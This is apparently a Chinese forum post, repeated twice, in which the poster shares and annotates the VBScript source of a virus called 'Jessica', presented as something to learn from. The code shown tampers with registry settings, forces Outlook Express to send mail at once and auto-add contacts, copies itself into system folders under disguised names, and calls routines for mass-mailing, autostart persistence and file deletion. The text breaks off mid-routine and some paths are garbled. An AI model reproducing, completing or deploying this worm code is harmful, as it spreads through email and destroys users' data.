level 1
cxx875406543
楼主
今天真是幸运,被我搞到了病毒Jessica的源代码。
因为是用vbs编写的,所以贴在这里让大家看看。
希望大家喜欢,也希望大家能从中学到东西。
我给它加上了详细的解释。
On Error Resume Next’容错语句,避免程序崩溃
dim filesyssysdirwindirfilevbscp
Set filesys=CreateObject("Scripting.FileSystemObject")’建立文件系统对象,必不可少
set file=filesys.OpenTextFile(WScript.ScriptFullname1)’以文本方式打开病毒自己
vbscp=file.ReadAll’读入自己的内容
main()’进入主过程
sub main()’主过程
On Error Resume Next
dim timeovererrsmimmeaddaddaddressc
set timeover=CreateObject("WScript.Shell")
err=timeover.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")’读入注册表中的超时键值
if(err>=1)then’超时设置
timeover.RegWrite "HKEY——CURRENT——USER\Softwate\Microsoft\Windows Scripting Host\Settings\Timeout"0"REG_DWORD"
end if
set sm=CreateObject("WScript.Shell")
imme=sm.RegRead("HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Send Mail Immediately")
if(imme>=0)then’修改OE的注册表键值,避免用户改为“不立刻发送邮件”
sm.RegWrite " HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Send Mail Immediately"1"REG_DWORD"
end if
set addadd=CreateObject("WScript.Shell")
address=addadd.RegRead("HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Auto Add Replices To WAB")
if(address>=0)then’修改OE的注册表键值,避免用户改为“不立刻添加通讯薄”
addadd.RegWrite " HKEY_USERS\.DEFAULT\Identities\{C5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Auto Add Replies To WAB"1"REG_DWORD"
end if
Set windir=filesys.GetSpecialFolder(0)’得到windows目录
Set sysdir=filesys.GetSpecialFolder(1)’得到system目录
Set c=filesys.GetFile(WScript.ScriptFullName)’得到病毒的路径
c.Copy(sysdir&"\Kernel32.vbs")’将自己复制到system下
c.Copy(windir&"\Rundll32.vbs")’将自己复制到windows下
c.Copy(sysdir&"\Table.htm.vbs")’向system下再复制一个
regload()’调用写注册表的模块
mailworm()’调用发带病毒邮件的模块
killc()’调用改写自动批处理的模块
alldrivers()’调用删文件的模块
end sub
sub killc()’破坏硬盘的过程
On Error Resume Next
dim fsautodiscdsssixdir
Set fs=CreateObject("Scripting.FileSystemObject")
Set auto=fs.CreateTextFile("c:\Auto.bat"True)’建立或修改自动批处理
auto.WriteLine("@echo off")’屏蔽掉删除的进程
2012年09月13日 05点09分
1
因为是用vbs编写的,所以贴在这里让大家看看。
希望大家喜欢,也希望大家能从中学到东西。
我给它加上了详细的解释。
On Error Resume Next’容错语句,避免程序崩溃
dim filesyssysdirwindirfilevbscp
Set filesys=CreateObject("Scripting.FileSystemObject")’建立文件系统对象,必不可少
set file=filesys.OpenTextFile(WScript.ScriptFullname1)’以文本方式打开病毒自己
vbscp=file.ReadAll’读入自己的内容
main()’进入主过程
sub main()’主过程
On Error Resume Next
dim timeovererrsmimmeaddaddaddressc
set timeover=CreateObject("WScript.Shell")
err=timeover.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")’读入注册表中的超时键值
if(err>=1)then’超时设置
timeover.RegWrite "HKEY——CURRENT——USER\Softwate\Microsoft\Windows Scripting Host\Settings\Timeout"0"REG_DWORD"
end if
set sm=CreateObject("WScript.Shell")
imme=sm.RegRead("HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Send Mail Immediately")
if(imme>=0)then’修改OE的注册表键值,避免用户改为“不立刻发送邮件”
sm.RegWrite " HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Send Mail Immediately"1"REG_DWORD"
end if
set addadd=CreateObject("WScript.Shell")
address=addadd.RegRead("HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Auto Add Replices To WAB")
if(address>=0)then’修改OE的注册表键值,避免用户改为“不立刻添加通讯薄”
addadd.RegWrite " HKEY_USERS\.DEFAULT\Identities\{C5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Auto Add Replies To WAB"1"REG_DWORD"
end if
Set windir=filesys.GetSpecialFolder(0)’得到windows目录
Set sysdir=filesys.GetSpecialFolder(1)’得到system目录
Set c=filesys.GetFile(WScript.ScriptFullName)’得到病毒的路径
c.Copy(sysdir&"\Kernel32.vbs")’将自己复制到system下
c.Copy(windir&"\Rundll32.vbs")’将自己复制到windows下
c.Copy(sysdir&"\Table.htm.vbs")’向system下再复制一个
regload()’调用写注册表的模块
mailworm()’调用发带病毒邮件的模块
killc()’调用改写自动批处理的模块
alldrivers()’调用删文件的模块
end sub
sub killc()’破坏硬盘的过程
On Error Resume Next
dim fsautodiscdsssixdir
Set fs=CreateObject("Scripting.FileSystemObject")
Set auto=fs.CreateTextFile("c:\Auto.bat"True)’建立或修改自动批处理
auto.WriteLine("@echo off")’屏蔽掉删除的进程